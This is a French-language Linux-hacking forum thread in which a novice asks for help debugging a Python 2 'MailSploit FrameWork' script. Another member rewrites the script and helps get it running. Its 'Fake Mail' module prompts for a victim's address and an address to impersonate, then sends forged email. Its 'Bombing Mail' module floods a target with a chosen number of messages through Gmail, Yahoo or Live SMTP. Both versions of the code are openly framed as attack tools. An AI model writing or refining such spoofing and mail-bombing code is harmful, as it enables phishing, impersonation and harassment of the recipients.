Auteur Sujet: [réglé] Python send mail  (Lu 7434 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne Spectrales-Hk

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 364
  • +30/-1
[réglé] Python send mail
« le: 28 décembre 2014 à 00:57:27 »
Salut, donc voila je post ce message afin de vous demandez de l'aide sur python, je suis novice  :) mais qui a tres vite compris python a cause de la ressemblance a php, bref. Donc voila je creé mon petit script fonctionnel jusqua la mais quand je shouaite cree un fake mail le systeme me repond par plain d'erreur incomprise.
Traceback (most recent call last):
  File "mlt.py", line 56, in <module>
    server = smtplib.SMTP(host='localhost', port='1025')
  File "/usr/lib/python2.7/smtplib.py", line 249, in __init__
    (code, msg) = self.connect(host, port)
  File "/usr/lib/python2.7/smtplib.py", line 309, in connect
    self.sock = self._get_socket(host, port, self.timeout)
  File "/usr/lib/python2.7/smtplib.py", line 284, in _get_socket
    return socket.create_connection((port, host), timeout)
  File "/usr/lib/python2.7/socket.py", line 571, in create_connection
    raise err
socket.error: [Errno 111] Connection refused

J'ai compris le connection refused mais je comprend pas pourquoi, un petit tour sur le net et je vois que mon code et juste (sur different exemple) je vous laisse mon code sources si vous avez des ideé
#Create By Hacker-Fl0w

import string
import os
import getpass
import smtplib
import sys


red = '\033[31m'
reset = '\033[0m'

os.system('clear')

print" "
print" --=[MailSploit FrameWork] "
print" +---**---==[Version : " +red+ "1.0.0 BETA"+reset+"]"
print" +---**---==[Codename : " +red+ "Mail Attack"+reset+"]"
print" +---**---==[Available Modules : "+red+" 3"+reset+"]"
print" --=[MailSploit FrameWork] "
print" "
try:

outil = raw_input('mst > ')

except KeyboardInterrupt:
print ""
print red,"/!\ Arret /!\ ",reset
sys.exit()


if(outil == "Fake Mail"):
os.system('clear')

print" "
print" --=[MailSploit FrameWork] "
print" +---**---==[Version : " +red+ "1.0.0 BETA"+reset+"]"
print" +---**---==[Codename : " +red+ "Mail Attack"+reset+"]"
print" +---**---==[Available Modules : "+red+" 3"+reset+"]"
print" --=[MailSploit FrameWork -"+red+"- Fake Mail] ",reset
print" "

try:
HOST = "localhost"
SUBJECT = raw_input('Sujet : > ')
TO = raw_input('Adresse email de la victime : > ')
FROM = raw_input('Adresse email a usurper : > ')
text = raw_input('Message : >')
BODY = string.join((
        "From: %s" % FROM,
        "To: %s" % TO,
        "Subject: %s" % SUBJECT ,
        "",
        text
        ), "\r\n")
server = smtplib.SMTP(host='localhost', port='1025')
server.sendmail(FROM, [TO], BODY)
server.quit()
print 'Message envoiyer !!'
sys.exit()
except KeyboardInterrupt:
print ""
print red,"/!\ Arret /!\ ",reset
sys.exit()
elif(outil == "Bombing Mail"):
os.system('clear')

print" "
print" --=[MailSploit FrameWork] "
print" +---**---==[Version : " +red+ "1.0.0 BETA"+reset+"]"
print" +---**---==[Codename : " +red+ "Mail Attack"+reset+"]"
print" +---**---==[Available Modules : "+red+" 3"+reset+"]"
print" --=[MailSploit FrameWork -"+red+"- Bombing Mail] ",reset
print" "

try:
server = raw_input ('Server Mail > ')
user = raw_input('Nom de compte > ')
mdp = getpass.getpass('Mots de passe > ')
to = raw_input('A (To) > ')
message = raw_input('Message > ')
total = input('Nombre d\'envoi > ')
except KeyboardInterrupt:
print ""
print red,"/!\ Arret /!\ ",reset
sys.exit()
except NameError:
print ""
print red,"Une erreur c'est produite suite une mauvais utilisation",reset
sys.exit()
if(server == 'gmail'):
smtp_server = "smtp.gmail.com"
port = 587
elif(server == 'yahoo'):
smtp_server = "smtp.mail.yahoo.com"
port = 25
elif(server == 'live'):
smtp_server = "smtp.live.com"
port = 465
else:
print red,'/!\ Fonctionnel seulement sous yahoo, gmail et hotmail /!\ '
sys.exit()

#retour a la ligne pour la bloucle for
print ""

try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
server.starttls()
server.login(user,mdp)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'From: '+user+'\n' +message
server.sendmail(user,to,msg)
print "\rNombre d'email envoiyer : %i" %i
sys.stdout.flush()
server.quit()
print red,'\nFINI !!'
except KeyboardInterrupt:
print ""
print red,"/!\ Arret /!\ ",reset
sys.exit()
except smtplib.SMTPAuthenticationError:
print ""
print red,"\n/!\ Nom de compte ou mots de passe incorrecte /!\ ",reset
sys.exit()


elif outil == "help":
print "Commande d'aide"
sys.exit()
else:
print ""
print red,"/!\ Tools inconnue /!\ ",reset
os.system('exit')
PS : il contient plusieur tools sur ce code si vous tester pour avoir acceé au tools avec l'erreur il suffit de tape "Fake Mail" (Sans les guillemet ;) )

partit du code pour fake mail :
os.system('clear')

print" "
print" --=[MailSploit FrameWork] "
print" +---**---==[Version : " +red+ "1.0.0 BETA"+reset+"]"
print" +---**---==[Codename : " +red+ "Mail Attack"+reset+"]"
print" +---**---==[Available Modules : "+red+" 3"+reset+"]"
print" --=[MailSploit FrameWork -"+red+"- Fake Mail] ",reset
print" "

try:
HOST = "localhost"
SUBJECT = raw_input('Sujet : > ')
TO = raw_input('Adresse email de la victime : > ')
FROM = raw_input('Adresse email a usurper : > ')
text = raw_input('Message : >')
BODY = string.join((
        "From: %s" % FROM,
        "To: %s" % TO,
        "Subject: %s" % SUBJECT ,
        "",
        text
        ), "\r\n")
server = smtplib.SMTP(host='localhost', port='1025')
server.sendmail(FROM, [TO], BODY)
server.quit()
print 'Message envoiyer !!'
sys.exit()
except KeyboardInterrupt:
print ""
print red,"/!\ Arret /!\ ",reset
sys.exit()
« Modifié: 30 décembre 2014 à 01:03:10 par Hacker-Fl0w »

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3793
  • +264/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Re : Python send mail
« Réponse #1 le: 28 décembre 2014 à 09:09:48 »
Le port 1025 n'est pas autorisé pour envoyé des mail,

http://fr.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol

Edit: je vais un peu corriger ton code parce que ça pique aux yeux là :p

#!/usr/bin/env python
#Create By Hacker-Fl0w Modofied by coyotus
# Under licence GPLv3 http://www.gnu.org/licenses/gpl.txt

import string,getpass, getpass, smtplib, sys

args = sys.argv[1:]
version = "1.0.0 BETA"
red = '\033[31m'
reset = '\033[0m'

def usage():
print '''Usage: mailsploit [-f fake mail] [-f bombing] [--help usage]

       -f --fake
            use an fake ore spoofed mail sender
       -b --bombing
            use multiple sending mail
       -h --help
            display this usage
       -v --version
            display version'''

if args:
for arg in args:
if(arg in ("-f","--fake")):
print '\33c'

print"\n --=[      MailSploit FrameWork      ]=--"
print" +---**---==[      Version : " +red+ version +reset+"      ]==---**---+"
print" +---**---==[     Codename : " +red+ "Mail Attack"+reset+"     ]==---**---+"
print" +---**---==[     Available Modules : "+red+" 3"+reset+"     ]==---**---+"
print" --=[MailSploit FrameWork :"+red+" Fake Mail"+reset+"]=-- \n",reset

try:
HOST = "localhost"
SUBJECT = raw_input('Sujet : > ')
TO = raw_input('Adresse email de la victime : > ')
FROM = raw_input('Adresse email a usurper : > ')
text = raw_input('Message : >')
BODY = string.join((
        "From: %s" % FROM,
        "To: %s" % TO,
        "Subject: %s" % SUBJECT ,
        "",
        text
        ), "\r\n")
server = smtplib.SMTP(host='localhost', port='25')
server.sendmail(FROM, [TO], BODY)
server.quit()
print 'Message envoyer !!'
sys.exit()
except KeyboardInterrupt:
print red,"\n/!\ Arret /!\ ",reset
sys.exit()
elif(arg in ("-b","--bombing")):
print '\33c'

print"\n --=[       MailSploit FrameWork        ]=--"
print" +---**---==[       Version : " +red+ version +reset+"        ]==---**---+"
print" +---**---==[      Codename : " +red+ "Mail Attack"+reset+"       ]==---**---+"
print" +---**---==[      Available Modules : "+red+" 3"+reset+"       ]==---**---+"
print" --=[MailSploit FrameWork :"+red+" Bombing Mail"+reset+"]=-- \n",reset

try:
server = raw_input ('Server Mail > ')
user = raw_input('Nom de compte > ')
mdp = getpass.getpass('Mots de passe > ')
to = raw_input('A (To) > ')
message = raw_input('Message > ')
total = input('Nombre d\'envoi > ')
except KeyboardInterrupt:
print red,"\n/!\ Arret /!\ ",reset
sys.exit()
except NameError:
print red,"\nUne erreur c'est produite suite une mauvais utilisation",reset
sys.exit()
if(server == 'gmail'):
smtp_server = "smtp.gmail.com"
port = 587
elif(server == 'yahoo'):
smtp_server = "smtp.mail.yahoo.com"
port = 25
elif(server == 'live'):
smtp_server = "smtp.live.com"
port = 465
else:
print red,'/!\ Fonctionnel seulement sous yahoo, gmail et hotmail /!\ '
sys.exit()

#retour a la ligne pour la bloucle for
print ""

try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
server.starttls()
server.login(user,mdp)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'From: '+user+'\n' +message
server.sendmail(user,to,msg)
print "\rNombre d'email envoyer : %i" %i
sys.stdout.flush()
server.quit()
print red,'\nFINI !!'
except KeyboardInterrupt:
print red,"\n/!\ Arret /!\ ",reset
sys.exit()
except smtplib.SMTPAuthenticationError:
print red,"\n/!\ Nom de compte ou mots de passe incorrecte /!\ ",reset
sys.exit()

elif arg in ("-h","--help"):
usage()
sys.exit()

elif arg in ("-v","--version"):
print version
sys.exit()
else:
print red + "Erreur: " + reset + "mauvaise option\n"
print usage()
sys.exit()

else:
usage()
quit()
« Modifié: 28 décembre 2014 à 18:10:52 par coyotus »

Hors ligne Spectrales-Hk

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 364
  • +30/-1
Re : [en cours] Python send mail
« Réponse #2 le: 28 décembre 2014 à 17:12:59 »
Merci pour la correction et l'aide je vais teste sa tout de suite

Hors ligne Spectrales-Hk

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 364
  • +30/-1
Re : [en cours] Python send mail
« Réponse #3 le: 28 décembre 2014 à 17:28:18 »
Script fonctionne mais je peut pas envoyer les email, toujours le message d’erreurs suivant socket.error: [Errno 111] Connection refused
après quelque recherche au m'indique la commande suivante pour que cela fonctionne python -m smtpd -n -c DebuggingServer localhost:25 des que j'envoi un message j'ai automatiquement le message qui apparaît dans le terminale

Je pence que je m'exprime mal donc voila une photo :

















Si vous avez des idée je suis toujours preneur, et si possible des technique assez simpe ^^

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3793
  • +264/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Re : [en cours] Python send mail
« Réponse #4 le: 28 décembre 2014 à 18:05:18 »
c'est parce que tu utilise pas le serveur smtp de ton FAI je pense donc localhost ne fonctionne qu'en local pour ma part.
regarde de ce coté.

Hors ligne Spectrales-Hk

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 364
  • +30/-1
Re : [en cours] Python send mail
« Réponse #5 le: 30 décembre 2014 à 01:02:34 »
Merci de ton aide je passe le sujet en mode reglé  ;)